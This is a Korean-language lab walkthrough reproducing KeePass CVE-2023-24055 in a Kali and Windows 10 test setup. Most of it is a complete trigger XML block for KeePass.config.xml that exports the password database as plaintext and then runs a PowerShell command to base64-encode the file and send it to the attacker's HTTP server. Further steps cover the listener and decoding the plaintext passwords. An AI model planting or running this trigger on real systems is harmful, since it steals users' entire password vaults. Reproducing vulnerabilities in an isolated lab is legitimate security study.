
KeePass CVE-2023-24055 재현
KeePass CVE-2023-24055 재현 KeePass CVE-2023-24055 재현
1, 준비 머신: kali(192.168.232.129), windows10(192.168.232.128)
2, keepass 버전: 2.53

2, 원리: keepass 구성 파일 KeePass.config.xml을 수정하고 트리거 구성 항목을 추가합니다: 평문 비밀번호를 내보내고 공격자 서버에 업로드합니다. 트리거를 추가하기 위한 xml 코드는 다음과 같습니다:
여기서: <Parameter>c:\Users\Long\AppData\Local\Temp\exploit.xml</Parameter> 필드는 평문 비밀번호를 내보낼 로컬 경로를 설정합니다
powershell을 사용하여 GET 메서드로 비밀번호 파일을 전송합니다
<Parameter>PowerShell.exe</Parameter>
<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\Long\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.232.129:8888/$var -Method GET </Parameter>
<Triggers>
<Trigger>
<Guid>lztpSRd56EuYtwwqntH7TQ==</Guid>
<Name>exploit</Name>
<Events>
<Event>
<TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
<Parameters>
<Parameter>0</Parameter>
<Parameter />
</Parameters>
</Event>
</Events>
<Conditions />
<Actions>
<Action>
<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
<Parameters>
<Parameter>c:\Users\Long\AppData\Local\Temp\exploit.xml</Parameter>
<Parameter>KeePass XML (2.x)</Parameter>
<Parameter />
<Parameter />
</Parameters>
</Action>
<Action>
<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
<Parameters>
<Parameter>PowerShell.exe</Parameter>
<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\Long\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.232.129:8888/$var -Method GET </Parameter>
<Parameter>False</Parameter>
<Parameter>1</Parameter>
<Parameter />
</Parameters>
</Action>
</Actions>
</Trigger>
</Triggers>
3, KeePass.config.xml 파일을 수정하고 xml 구성 항목을 추가한 후 저장합니다(추가 위치: <TriggerSystem></TriggerSystem> 태그 내부). keepass를 열어 추가가 성공했는지 확인합니다:

4, kali를 열고 python3 -m http.server 8888 명령으로 웹 서비스를 시작하여 내보낸 비밀번호 평문을 수신합니다

5, keepass를 열고 새 레코드를 생성하여 저장하면 트리거가 실행됩니다. kali에서 수신한 내용을 확인합니다:

6, 내용을 파일에 복사하고 base64로 디코딩하면 평문 비밀번호를 얻을 수 있습니다

